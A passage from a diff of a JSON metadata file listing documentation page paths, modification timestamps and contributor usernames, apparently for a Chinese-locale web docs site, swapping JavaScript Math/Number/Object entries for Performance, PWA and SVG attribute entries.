"2019-03-23T22:00:17.334Z", "contributors": [ - "killsos", - "mingzhaov" + "chrisdavidmills", + "codeofjackie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math": { - "modified": "2020-10-15T21:21:09.889Z", + "Web/Performance/Rum-vs-Synthetic": { + "modified": "2020-10-13T09:51:23.567Z", "contributors": [ - "RainSlide", - "Zhenger", - "tzmf", - "levinweb", - "xzmshiji", - "LiXin", - "xgqfrms-GitHub", - "Ende93", - "lwxyfer", - "FredWe", - "yenshen", - "baiya", - "AlexChao", - "teoli", - "ziyunfei" + "xgqfrms" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/E": { - "modified": "2019-03-23T23:12:59.627Z", + "Web/Performance/dns-prefetch": { + "modified": "2020-10-13T10:51:56.349Z", "contributors": [ - "AlexChao" + "xgqfrms", + "chrisdavidmills", + "caoweiju" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/LN10": { - "modified": "2019-03-23T22:26:33.778Z", + "Web/Progressive_web_apps": { + "modified": "2020-03-14T09:56:33.733Z", "contributors": [ - "AlexChao" + "Miahui", + "kkocdko", + "chrisdavidmills", + "sijimi", + "xgqfrms-GitHub", + "xgqfrms" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/LN2": { - "modified": "2019-03-23T23:12:59.485Z", + "Web/Progressive_web_apps/App_structure": { + "modified": "2020-05-31T18:38:01.454Z", "contributors": [ - "AlexChao" + "jin_wang", + "Miahui", + "xiao11lang", + "Mosan", + "githubxiaominge", + "liminjun", + "zjffun", + "alfred_chao95", + "chrisdavidmills", + "eightHundreds" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/LOG10E": { - "modified": "2019-03-23T23:12:57.229Z", + "Web/Progressive_web_apps/Installable_PWAs": { + "modified": "2020-08-03T23:25:28.976Z", "contributors": [ - "AlexChao" + "SDUTWSL", + "nurob", + "Dht", + "Miahui", + "HDUCC", + "deping_chen" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/LOG2E": { - "modified": "2019-03-23T23:12:57.389Z", + "Web/Progressive_web_apps/Introduction": { + "modified": "2019-08-21T09:58:46.102Z", "contributors": [ - "AlexChao" + "jackupdown", + "zjffun", + "chrisdavidmills", + "eightHundreds", + "yijie_sun" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/PI": { - "modified": "2019-10-10T16:56:22.011Z", + "Web/Progressive_web_apps/Offline_Service_workers": { + "modified": "2020-07-02T16:41:37.440Z", "contributors": [ - "helloguangxue", - "yenshen", - "AlexChao" + "showad", + "nurob", + "githubxiaominge", + "zjffun" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/SQRT1_2": { - "modified": "2019-03-23T23:12:56.404Z", + "Web/Progressive_web_apps/Re-engageable_Notifications_Push": { + "modified": "2020-05-31T18:38:17.693Z", "contributors": [ - "AlexChao" + "nurob", + "githubxiaominge" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/SQRT2": { - "modified": "2019-03-23T23:34:50.958Z", + "Web/Progressive_web_apps/Responsive/responsive_design_building_blocks": { + "modified": "2020-11-17T04:04:41.165Z", "contributors": [ - "AlexChao", - "teoli", - "ziyunfei" + "DingGuangbo" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/abs": { - "modified": "2019-04-05T14:44:14.817Z", + "Web/Reference": { + "modified": "2019-03-18T21:10:51.690Z", "contributors": [ - "FlowingRiver", - "tiansh", - "AlexChao", - "teoli", - "ndon" + "SphinxKnight", + "acuptea", + "rguanghui", + "huasheng", + "yangchengjian", + "liuwentianwtu", + "jack7758", + "ValkyrieLawliet", + "ZhangKaiqiang", + "colin-zhou", + "ziyunfei", + "Sheppy" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/acos": { - "modified": "2019-04-05T14:44:29.427Z", + "Web/Reference/API": { + "modified": "2020-02-06T00:29:14.463Z", "contributors": [ - "AlexChao" + "RainSlide", + "yongxiaodu", + "micblo", + "kevinfszu", + "yfdyh000", + "zmh_w", + "tangxiaobaobao", + "ziyunfei", + "noscripter", + "hutuxu" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/asin": { - "modified": "2019-08-17T06:23:48.692Z", + "Web/SVG": { + "modified": "2020-05-25T07:08:22.112Z", "contributors": [ - "AlexChao" + "Adrian-Yan", + "RainSlide", + "pluwen", + "LalaChu", + "simongfxu", + "fanxiaojie", + "Metalooze", + "lunix01", + "charlie", + "johncido", + "cuixiping", + "huguowei", + "teoli", + "xcffl", + "LIXer" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/asinh": { - "modified": "2020-10-15T22:29:13.098Z", + "Web/SVG/Applying_SVG_effects_to_HTML_content": { + "modified": "2020-10-21T05:14:10.197Z", "contributors": [ - "vampire624" + "Chellyyy", + "Kylexii", + "almond", + "AaronYehf", + "swingcat", + "SphinxKnight", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/atan": { - "modified": "2019-03-23T23:12:33.623Z", + "Web/SVG/Attribute": { + "modified": "2020-06-11T11:15:23.661Z", "contributors": [ - "AlexChao" + "chanvin", + "RainSlide", + "fanxiaojie", + "slientomorrr", + "stevenvachon" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/atan2": { - "modified": "2019-10-29T04:38:29.778Z", + "Web/SVG/Attribute/From": { + "modified": "2019-03-23T22:07:46.163Z", "contributors": [ - "412799755", - "AlexChao" + "876843240" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/atanh": { - "modified": "2019-03-23T22:30:24.385Z", + "Web/SVG/Attribute/Presentation": { + "modified": "2020-10-15T22:23:08.667Z", "contributors": [ - "timqian92" + "gogoend" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/cbrt": { - "modified": "2019-11-08T10:40:00.500Z", + "Web/SVG/Attribute/accent-height": { + "modified": "2019-07-05T08:35:14.107Z", "contributors": [ - "hellorayza", - "hhxxhg", - "SphinxKnight", - "wangyukai04", - "teoli", - "ziyunfei" + "yvonneit" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/ceil": { - "modified": "2020-10-15T21:28:51.015Z", + "Web/SVG/Attribute/accumulate": { + "modified": "2019-03-23T22:32:55.125Z", "contributors": [ - "RainSlide", - "xgqfrms-GitHub", - "AlexChao" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/clz32": { - "modified": "2020-10-15T21:26:57.620Z", + "Web/SVG/Attribute/alignment-baseline": { + "modified": "2019-07-05T08:35:05.656Z", "contributors": [ - "Lucilor", - "SphinxKnight", - "teoli", - "ziyunfei" + "liyongleihf2006", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/cos": { - "modified": "2019-03-23T23:12:55.982Z", + "Web/SVG/Attribute/attributeName": { + "modified": "2019-03-23T22:46:42.034Z", "contributors": [ - "AlexChao" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/cosh": { - "modified": "2019-03-23T22:45:35.592Z", + "Web/SVG/Attribute/attributeType": { + "modified": "2019-03-23T22:46:39.534Z", "contributors": [ - "SphinxKnight", - "yenshen" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/exp": { - "modified": "2019-04-05T14:46:00.450Z", + "Web/SVG/Attribute/baseProfile": { + "modified": "2019-07-05T08:35:43.566Z", "contributors": [ - "AlexChao" + "leighcc" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/expm1": { - "modified": "2019-03-23T23:24:29.516Z", + "Web/SVG/Attribute/baseline-shift": { + "modified": "2019-03-23T22:46:48.235Z", "contributors": [ - "SphinxKnight", - "teoli", - "ziyunfei" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/floor": { - "modified": "2020-12-01T02:48:28.851Z", + "Web/SVG/Attribute/begin": { + "modified": "2019-03-23T22:46:49.938Z", "contributors": [ - "OmniP", - "wangyukai04", - "xgqfrms-GitHub", - "AlexChao" + "wbamberg", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/fround": { - "modified": "2019-04-05T14:46:26.026Z", + "Web/SVG/Attribute/calcMode": { + "modified": "2019-03-23T22:10:34.986Z", "contributors": [ - "SphinxKnight", - "zxsunrise", - "ziyunfei", - "teoli" + "leedut" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/hypot": { - "modified": "2020-10-15T21:25:13.114Z", + "Web/SVG/Attribute/clip": { + "modified": "2020-10-15T21:39:26.851Z", "contributors": [ - "Dorence", - "hellorayza", - "plutonji", - "SphinxKnight", - "tiansh", - "teoli", - "ziyunfei" + "RainSlide", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/imul": { - "modified": "2020-01-20T10:35:52.662Z", + "Web/SVG/Attribute/clip-path": { + "modified": "2020-10-15T22:28:50.040Z", "contributors": [ - "徐鹏跃", - "SphinxKnight", - "teoli", - "ziyunfei" + "jhchen6" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/log": { - "modified": "2019-03-23T23:34:08.078Z", + "Web/SVG/Attribute/color": { + "modified": "2020-10-15T21:39:18.231Z", "contributors": [ - "kyriejoshua", - "teoli", - "AlexChao", - "ziyunfei" + "RainSlide", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/log10": { - "modified": "2019-03-23T23:24:22.200Z", + "Web/SVG/Attribute/cx": { + "modified": "2019-03-23T22:18:03.024Z", "contributors": [ - "SphinxKnight", - "teoli", - "ziyunfei" + "realstephenzhao", + "huainanhai" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/log1p": { - "modified": "2019-03-23T23:24:22.369Z", + "Web/SVG/Attribute/cy": { + "modified": "2019-03-18T21:22:46.371Z", "contributors": [ - "SphinxKnight", - "teoli", - "ziyunfei" + "realstephenzhao" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/log2": { - "modified": "2019-03-27T00:02:26.543Z", + "Web/SVG/Attribute/d": { + "modified": "2019-03-23T22:55:44.323Z", "contributors": [ - "SphinxKnight", - "teoli", - "ziyunfei" + "msyfls123", + "fanxiaojie", + "creamidea", + "charlie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/max": { - "modified": "2020-10-15T21:28:51.161Z", + "Web/SVG/Attribute/display": { + "modified": "2020-11-17T10:08:32.937Z", "contributors": [ - "zhangchen", - "zzykillu", - "littleRice", - "FlowingRiver", - "Gohikin", - "helloguangxue", - "tiansh", - "AlexChao" + "292514467", + "misakisaysyes", + "radial-hks" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/min": { - "modified": "2019-10-10T16:47:54.897Z", + "Web/SVG/Attribute/dominant-baseline": { + "modified": "2019-03-23T22:09:53.226Z", "contributors": [ - "FlowingRiver", - "Ende93", - "AlexChao" + "xinjianheyi" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/pow": { - "modified": "2020-10-15T21:28:50.816Z", + "Web/SVG/Attribute/dur": { + "modified": "2019-03-23T22:46:40.065Z", "contributors": [ - "zhangchen", - "bestlbw", - "AlexChao" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/random": { - "modified": "2020-12-10T04:26:38.936Z", + "Web/SVG/Attribute/dx": { + "modified": "2020-08-25T05:37:26.030Z", "contributors": [ - "caozhihui24", - "Ende93", - "Jing1107", - "Soyaine", - "wutiande", - "hhxxhg", - "meng-Macbook", - "ywjco", - "ZZES_REN", - "Daniel_Liu", - "xgqfrms-GitHub", - "AlexChao", - "teoli", - "ndon" + "danceash", + "jiahui" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/round": { - "modified": "2019-09-15T15:07:27.927Z", + "Web/SVG/Attribute/edgeMode": { + "modified": "2019-03-23T22:46:21.766Z", "contributors": [ - "shelter9824", - "zxsunrise", - "pazingaa", - "xgqfrms-GitHub", - "teoli", - "ziyunfei", - "AlexChao", - "princetoad@gmail.com" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/sign": { - "modified": "2019-08-31T06:02:13.833Z", + "Web/SVG/Attribute/enable-background": { + "modified": "2020-10-15T22:34:25.447Z", "contributors": [ - "xgqfrms-GitHub", - "tiansh", - "teoli", - "ziyunfei" + "SphinxKnight", + "SoMuchTo" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/sin": { - "modified": "2020-11-11T08:27:43.469Z", + "Web/SVG/Attribute/end": { + "modified": "2019-03-23T22:46:42.288Z", "contributors": [ - "luisleee", - "AlexChao" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/sinh": { - "modified": "2020-08-20T08:15:43.793Z", + "Web/SVG/Attribute/fill": { + "modified": "2019-03-23T22:46:42.182Z", "contributors": [ - "635153226", - "SphinxKnight", - "teoli", - "ziyunfei" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/sqrt": { - "modified": "2020-10-15T21:28:52.595Z", + "Web/SVG/Attribute/fill-opacity": { + "modified": "2019-03-23T22:46:42.402Z", "contributors": [ - "zhangchen", - "AlexChao" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/tan": { - "modified": "2019-08-31T06:01:37.228Z", + "Web/SVG/Attribute/fill-rule": { + "modified": "2020-10-15T21:39:20.776Z", "contributors": [ - "AlexChao" + "skywalker_z", + "kapokkopak", + "Ambar", + "ZhengYinBo", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/tanh": { - "modified": "2020-10-15T21:49:09.190Z", + "Web/SVG/Attribute/filter": { + "modified": "2019-03-23T22:46:38.982Z", "contributors": [ - "Dorence", - "Yunme", - "Gohikin", - "lsvih" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/trunc": { - "modified": "2020-10-15T21:25:16.193Z", + "Web/SVG/Attribute/filterUnits": { + "modified": "2019-03-23T22:14:03.688Z", "contributors": [ - "zxsunrise", - "Ende93", - "ziyunfei", - "tiansh", - "teoli" + "liyongleihf2006" ] }, - "Web/JavaScript/Reference/Global_Objects/Math/反双曲余弦值": { - "modified": "2020-10-15T21:50:09.940Z", + "Web/SVG/Attribute/font-family": { + "modified": "2019-03-23T23:04:59.299Z", "contributors": [ - "Dorence", - "wizardforcel", - "LiuYuan" + "charlie" ] }, - "Web/JavaScript/Reference/Global_Objects/NaN": { - "modified": "2020-10-15T21:21:08.233Z", + "Web/SVG/Attribute/fr": { + "modified": "2019-03-18T21:22:49.932Z", "contributors": [ - "wallena3", - "HuangXin", - "caofei6", - "zxsunrise", - "EthanOrange", - "Jiang-Xuan", - "Ende93", - "yenshen", - "SphinxKnight", - "ziyunfei", - "AlexChao", - "teoli", - "zhangyaochun1987" + "realstephenzhao" ] }, - "Web/JavaScript/Reference/Global_Objects/Number": { - "modified": "2020-10-15T21:21:06.513Z", + "Web/SVG/Attribute/fx": { + "modified": "2019-03-18T21:28:55.964Z", "contributors": [ - "SageX", - "Mookiepiece", - "huxinsen", - "hhxxhg", - "shevche24", - "re09", - "righttoe", - "yurielZhang", - "liudeyuan", - "liuzeyafzy", - "Ende93", - "teoli", - "xuxiaodong", - "ethertank" + "realstephenzhao", + "longfeihouhouhou" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/EPSILON": { - "modified": "2019-10-14T12:34:30.960Z", + "Web/SVG/Attribute/fy": { + "modified": "2019-03-18T21:22:47.918Z", "contributors": [ - "SageX", - "Fire1nRain", - "Liugq5713", - "AlexChao", - "jokeviner" + "realstephenzhao" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER": { - "modified": "2019-11-10T23:49:14.665Z", + "Web/SVG/Attribute/height": { + "modified": "2019-03-23T22:46:48.815Z", "contributors": [ - "zotille", - "AlexChao", - "jokeviner" + "Ende93", + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE": { - "modified": "2019-03-18T20:54:24.017Z", + "Web/SVG/Attribute/id": { + "modified": "2020-10-15T22:25:42.877Z", "contributors": [ - "dsgygb", - "AlexChao" + "cuixiping" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/MIN_SAFE_INTEGER": { - "modified": "2020-10-15T21:48:36.767Z", + "Web/SVG/Attribute/image-rendering": { + "modified": "2019-03-23T23:10:41.035Z", "contributors": [ - "SphinxKnight", - "User670", - "suxiesumiao" + "ReyCG_sub" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE": { - "modified": "2019-03-23T23:13:08.431Z", + "Web/SVG/Attribute/in": { + "modified": "2019-03-23T22:13:50.542Z", "contributors": [ - "AlexChao" + "liyongleihf2006" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY": { - "modified": "2019-03-23T23:13:05.395Z", + "Web/SVG/Attribute/kernelMatrix": { + "modified": "2019-03-23T22:14:02.784Z", "contributors": [ - "AlexChao" + "liyongleihf2006" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/NaN": { - "modified": "2019-04-06T03:20:31.087Z", + "Web/SVG/Attribute/keyTimes": { + "modified": "2019-03-18T21:30:15.598Z", "contributors": [ - "AlexChao", - "teoli", - "zhangyaochun1987" + "ZhenhuaChen" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/Number": { - "modified": "2020-10-15T22:32:37.356Z", + "Web/SVG/Attribute/letter-spacing": { + "modified": "2020-10-15T22:23:39.628Z", "contributors": [ - "爬上神坛的猫" + "vvv-7911" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/POSITIVE_INFINITY": { - "modified": "2019-03-23T23:12:58.979Z", + "Web/SVG/Attribute/marker-end": { + "modified": "2020-10-15T22:18:07.958Z", "contributors": [ - "helinjiang", - "AlexChao" + "ciki6" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/isFinite": { - "modified": "2020-10-15T21:24:17.461Z", + "Web/SVG/Attribute/marker-start": { + "modified": "2020-10-15T22:35:06.368Z", "contributors": [ - "zhangchen", - "AlexChao", - "teoli", - "ziyunfei", - "zhangyaochun1987" + "ciki6" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/isInteger": { - "modified": "2020-10-15T21:24:18.300Z", + "Web/SVG/Attribute/mask": { + "modified": "2019-03-23T22:46:32.037Z", "contributors": [ - "yanhaijing1234", - "daihaoxin", - "oldmtn", - "Ende93", - "teoli", + "wbamberg", "ziyunfei", - "tiansh", - "zhangyaochun1987" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/isNaN": { - "modified": "2020-10-15T21:19:55.509Z", + "Web/SVG/Attribute/max": { + "modified": "2020-10-15T22:26:09.162Z", "contributors": [ - "RainSlide", - "polunzh", - "daihaoxin", - "xgqfrms-GitHub", - "AlexChao", - "yenshen", - "teoli", - "yufeng", - "ziyunfei" + "bompoo" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/isSafeInteger": { - "modified": "2020-10-15T21:27:54.542Z", + "Web/SVG/Attribute/media": { + "modified": "2020-10-15T22:28:22.473Z", "contributors": [ - "yanhaijing1234", - "hellorayza", - "AlexChao", - "ziyunfei" + "Firefox_mozilla" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/parseFloat": { - "modified": "2019-11-08T10:17:37.826Z", + "Web/SVG/Attribute/opacity": { + "modified": "2019-03-23T22:46:17.591Z", "contributors": [ - "hellorayza", - "Youzi", - "SphinxKnight", - "AlexChao", - "saintwinkle" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/parseInt": { - "modified": "2020-10-15T21:32:59.587Z", + "Web/SVG/Attribute/order": { + "modified": "2019-03-23T22:14:09.913Z", "contributors": [ - "hellorayza", - "SageX", - "edward870505", - "NiLinli", - "iugo", - "ziyunfei", - "tiansh" + "liyongleihf2006" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/prototype": { - "modified": "2019-03-23T22:12:02.199Z", + "Web/SVG/Attribute/origin": { + "modified": "2020-09-21T09:25:39.365Z", "contributors": [ - "AlexChao" + "SphinxKnight", + "a420980938" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/toExponential": { - "modified": "2019-04-06T03:30:46.772Z", + "Web/SVG/Attribute/overflow": { + "modified": "2020-10-15T22:09:03.459Z", "contributors": [ - "zhazhjie", - "yunl819", - "helloguangxue", - "AlexChao" + "SphinxKnight", + "888aaa" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/toFixed": { - "modified": "2020-10-15T21:28:32.902Z", + "Web/SVG/Attribute/path": { + "modified": "2019-01-17T01:11:59.482Z", "contributors": [ - "zeroxie", - "liuruiqi1993", - "Xiaoming666", - "rulanfenghua", - "PageYe", - "yenshen", - "Jinjiang", - "AlexChao" + "dfEric" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/toLocaleString": { - "modified": "2020-10-15T21:28:46.243Z", + "Web/SVG/Attribute/pathLength": { + "modified": "2019-03-18T21:24:01.815Z", "contributors": [ - "RoXoM", - "dongchaoge", - "Sivan", - "Hugh", - "anchengjian", - "shuding", - "AlexChao" + "EXSVAMP" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/toPrecision": { - "modified": "2019-09-09T23:08:23.767Z", + "Web/SVG/Attribute/patternUnits": { + "modified": "2019-03-18T21:15:24.501Z", "contributors": [ - "helloguangxue", - "AlexChao" + "Chesn" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/toSource": { - "modified": "2019-04-06T03:53:43.075Z", + "Web/SVG/Attribute/pointer-events": { + "modified": "2020-10-15T22:18:55.261Z", "contributors": [ - "AlexChao" + "WebsonLeo" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/toString": { - "modified": "2019-07-09T06:38:38.264Z", + "Web/SVG/Attribute/points": { + "modified": "2019-03-23T22:46:24.044Z", "contributors": [ - "LeoSpark", - "ywjco", - "xgqfrms-GitHub", - "righttoe", - "YoungChen", - "yenshen", - "AlexChao", - "teoli", - "ziyunfei" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Number/valueOf": { - "modified": "2019-04-06T04:03:18.487Z", + "Web/SVG/Attribute/preserveAlpha": { + "modified": "2019-03-18T21:30:40.693Z", "contributors": [ - "weiqinl", - "ziyunfei", - "yenshen", - "AlexChao" + "hy512" ] }, - "Web/JavaScript/Reference/Global_Objects/Object": { - "modified": "2020-10-15T21:07:58.316Z", + "Web/SVG/Attribute/preserveAspectRatio": { + "modified": "2019-03-23T22:02:41.003Z", "contributors": [ - "VictoriaChou", - "oldguan", - "oxyg3n", - "sunshine8752", - "yzh196", - "CelestialPhineas", - "RainSlide", - "zhangchen", - "lee-joe", - "xgqfrms-GitHub", - "kangaoxiaoshi", - "Hugh", - "tomoat", - "hxlhxl", - "Ende93", - "scscms", - "charlie", - "ziyunfei", - "paddingme", - "AlexChao", - "teoli", - "iwo" + "codepandy", + "ciki6", + "yuyx91", + "webtuotuo2017" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/GetPrototypeOf": { - "modified": "2020-10-15T21:07:55.199Z", + "Web/SVG/Attribute/primitiveUnits": { + "modified": "2019-03-23T22:14:03.826Z", "contributors": [ - "futurefeeling", - "ywjco", - "zhangchen", - "xgqfrms-GitHub", - "teoli", - "AlexChao", - "paddingme", - "ziyunfei" + "liyongleihf2006" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/Object": { - "modified": "2020-10-15T22:29:02.706Z", + "Web/SVG/Attribute/r": { + "modified": "2019-03-18T21:22:40.271Z", "contributors": [ - "jiyiwohanxing" + "realstephenzhao" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/__defineGetter__": { - "modified": "2019-03-23T23:05:45.020Z", + "Web/SVG/Attribute/radius": { + "modified": "2019-03-23T22:46:18.311Z", "contributors": [ - "ziyunfei", - "LinusYu" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/__defineSetter__": { - "modified": "2019-03-23T23:05:56.544Z", + "Web/SVG/Attribute/repeatCount": { + "modified": "2019-03-23T22:18:01.687Z", "contributors": [ - "ziyunfei", - "LinusYu" + "876843240", + "huainanhai" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/__lookupGetter__": { - "modified": "2019-03-23T23:14:35.158Z", + "Web/SVG/Attribute/result": { + "modified": "2019-01-16T21:31:09.328Z", "contributors": [ - "MurphyL", - "ziyunfei", - "lutaoact" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/__lookupSetter__": { - "modified": "2019-03-23T22:21:56.129Z", + "Web/SVG/Attribute/rx": { + "modified": "2019-03-18T21:00:24.171Z", "contributors": [ - "winjeysong", - "lisniuse" + "RainSlide", + "BowenSun" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/assign": { - "modified": "2020-10-21T06:50:11.039Z", + "Web/SVG/Attribute/scale": { + "modified": "2019-03-23T22:46:29.331Z", "contributors": [ - "srq18211", - "xgqfrms", - "sjnho", - "SphinxKnight", - "YF05105814", - "zac_ma", - "shery", - "shutong", - "HJava", - "Jiang-Xuan", - "zhangchen", - "xgqfrms-GitHub", - "micheal-death", - "kiyonlin", - "Wayme", - "glgjssy", - "Ende93", - "Y____C", - "zhangking", - "calmcarry", - "iamchenxin", - "ziyunfei", - "rebornix" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/constructor": { - "modified": "2020-10-15T21:22:02.873Z", + "Web/SVG/Attribute/seed": { + "modified": "2019-03-23T22:46:25.651Z", "contributors": [ - "Lan1967", - "zhangchen", - "icyzeroice", - "luoxzhg", - "Hugh", - "teoli", - "AlexChao", - "ziyunfei" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/create": { - "modified": "2020-11-17T22:40:03.747Z", + "Web/SVG/Attribute/shape-rendering": { + "modified": "2019-03-23T22:41:44.530Z", "contributors": [ - "zhuangyin", - "kaiyuan-c", - "yukyao", - "Aster.", - "symant233", - "zhanghao-zhoushan", - "Ahhaha233", - "name-dingding", - "Lan1967", - "wangzherlf", - "LuckyJoker", - "zhangchen", - "evan_Yuanzh", - "luoxzhg", - "ywjco", - "cuji", - "Tuoe", - "foreverwang", - "HuazzTsai", - "Cribug8080", - "Ende93", - "xgqfrms-GitHub", - "runighcat", - "ouonet", - "Hopcraft", - "luojia", - "AlexChao", - "teoli", - "ziyunfei", - "Chajn", - "georgewing", - "nightire", - "bingjie2680", - "fscholz", - "raymoth", - "Mgjbot", - "Kaixin110", - "Cnmahj", - "Mhoudg", - "Andyyard", - "Carrie zhxj", - "Mickeyboy", - "Verruckt", - "Taken", - "Ahong" + "maicss" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/defineProperties": { - "modified": "2020-12-13T23:47:19.929Z", + "Web/SVG/Attribute/stdDeviation": { + "modified": "2019-03-18T21:23:00.621Z", "contributors": [ - "YawnS0", - "zhangchen", - "xgqfrms-GitHub", - "microTT", - "ziyunfei", - "AlexChao", - "teoli", - "OoOoOoOo", - "leeli" + "realstephenzhao" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/defineProperty": { - "modified": "2020-12-03T03:27:16.867Z", - "contributors": [ - "daniel_tsai", - "liushuaimaya", - "symant233", - "lijinwenhg", - "RainSlide", - "sunw", - "mingzhang6", - "liuliuLiu161", - "walwimp", - "leavesster", - "onedaywen", - "junyuli1992", - "Xmader", - "zhanghy7", - "Josnk", - "lmislm", - "weidapao", - "CaptainInPHW", - "zotille", - "LeoSpark", - "i850", - "Mrdapeng", - "yuyongjun123", - "buptsky", - "ywjco", - "Wutang", - "Black-Hole", - "zhangchen", - "xiiiAtCn", - "C_Kite", - "MrITzhongzi", - "usernameisMan", - "zilong", - "ziyunfei", - "dttx123", - "win5do", - "Ende93", - "righttoe", - "hicrow", - "xgqfrms-GitHub", - "maxmeng", - "whwei", - "xuemengfei", - "riversYeHaha", - "harttle", - "coolguy", - "KingMario", - "helinjiang", - "Lenville", - "teoli", - "TimothyZhang", - "AlexChao", - "aaron4512", - "jiraiya", - "yanhaijing", - "StuPig", - "OoOoOoOo" + "Web/SVG/Attribute/string": { + "modified": "2020-10-15T22:28:09.817Z", + "contributors": [ + "Tjhxzd" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/entries": { - "modified": "2020-10-15T21:47:29.698Z", + "Web/SVG/Attribute/stroke": { + "modified": "2019-03-23T22:47:39.759Z", "contributors": [ - "symant233", - "versionlin7", - "zhangchen", - "spiritree", - "xgqfrms-GitHub", - "OshotOkill" + "fanxiaojie", + "slientomorrr" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/freeze": { - "modified": "2020-10-15T21:04:51.609Z", + "Web/SVG/Attribute/stroke-dasharray": { + "modified": "2019-08-08T05:38:03.197Z", "contributors": [ - "Frederick-S", - "lejsure", - "mingttong", - "zhangchen", - "ywjco", - "sqliang", - "zhouyuanhao", - "Ende93", - "AlexChao", - "teoli", - "ziyunfei", - "undercooled" + "fanxiaojie" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/fromEntries": { - "modified": "2020-10-15T22:09:07.388Z", + "Web/SVG/Attribute/stroke-dashoffset": { + "modified": "2019-10-10T16:56:45.450Z", "contributors": [ - "zhangchen", - "qiudongwei", - "iugo", - "xiaopingzhang0207", - "kohai", - "Bayes" + "ZhengYinBo", + "yanagao" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor": { - "modified": "2020-10-15T21:04:53.010Z", + "Web/SVG/Attribute/stroke-linecap": { + "modified": "2019-03-23T22:21:59.850Z", "contributors": [ - "Damoness", - "274659281", - "RoXoM", - "liuyangjoker", - "usernameisMan", - "Ende93", - "teoli", - "AlexChao", - "ArthasTree", - "ziyunfei", - "nightire" + "ZhengYinBo" ] }, - "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptors": { - "modified": "2020-10-15T21:47:29.156Z", + "Web/SVG/Attribute/stroke-linejoin": { + "modified": "2020-10-15T21:52:22.702Z", 